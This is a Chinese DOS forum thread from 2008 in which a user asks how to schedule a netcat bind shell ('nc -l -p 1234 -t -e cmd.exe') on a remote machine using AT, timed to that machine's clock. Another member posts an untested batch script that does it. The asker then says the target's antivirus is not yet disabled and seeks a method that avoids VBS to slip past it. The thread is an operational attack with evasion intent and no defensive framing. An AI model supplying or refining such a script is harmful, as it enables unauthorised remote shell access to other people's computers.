中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-08 06:51
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何把NET TIME的时间自动给AT使用 查看 784 回复 4
楼 主 如何把NET TIME的时间自动给AT使用 发表于 2008-04-21 08:25 ·  中国 福建 福州 连江县 电信
初级用户
★★
积分 165
发帖 79
注册 2007-10-27 13:43
18年会员
UID 100924
性别 男
状态 离线
如何把NET TIME的时间自动给AT使用
a: net time \\10.10.1.2

b: at \\10.10.1.2 时间 nc -l -p 1234 -t -e cmd.exe

要实现
a中取得的时间自动增加 三秒钟=b中的时间

就是这两句BAT要如何修改
把我的快乐分享给众人就是我的快乐
把我的技术共享给别人那才叫我的技术
学习我不会的技术那才叫好学
2 发表于 2008-04-21 14:19 ·  中国 上海 松江区 电信
铂金会员
★★★★
DOS一根葱
积分 5,493
发帖 2,315
注册 2006-05-01 10:41
20年会员
UID 54766
性别 男
来自 上海
状态 离线

@echo off
for /f "tokens=" %%i in ('net time \\10.10.1.2') do set NetTime=%%i
>tmp.vbs echo Wscript.echo FormatDateTime (DateAdd("s",3,"%NetTime%"),0)
for /f "delims=" %%i in ('cscript.exe //nologo tmp.vbs') do set aTime=%%i
del tmp.vbs
at \\10.10.1.2 "%aTime%" nc -l -p 1234 -t -e cmd.exe
pause

未测试
第一高手 第二高手

3 发表于 2008-04-21 16:46 ·  中国 福建 福州 连江县 电信
初级用户
★★
积分 165
发帖 79
注册 2007-10-27 13:43
18年会员
UID 100924
性别 男
状态 离线
我想在这一步暂时还没有关掉那台电脑的杀毒软件,应当不能用VBS
把我的快乐分享给众人就是我的快乐
把我的技术共享给别人那才叫我的技术
学习我不会的技术那才叫好学
4 发表于 2008-04-21 17:02 ·  中国 福建 福州 连江县 电信
初级用户
★★
积分 165
发帖 79
注册 2007-10-27 13:43
18年会员
UID 100924
性别 男
状态 离线
tmp.vbs(1,1) microsoft VBScript 运行时错误: 类型不匹配: '[string: ""]'
把我的快乐分享给众人就是我的快乐
把我的技术共享给别人那才叫我的技术
学习我不会的技术那才叫好学
5 发表于 2008-04-21 17:03 ·  中国 福建 福州 连江县 电信
初级用户
★★
积分 165
发帖 79
注册 2007-10-27 13:43
18年会员
UID 100924
性别 男
状态 离线
最好不用VBS
一是那台电脑肯定有杀软
二是有可能那台电脑禁用了VBS
把我的快乐分享给众人就是我的快乐
把我的技术共享给别人那才叫我的技术
学习我不会的技术那才叫好学
论坛跳转: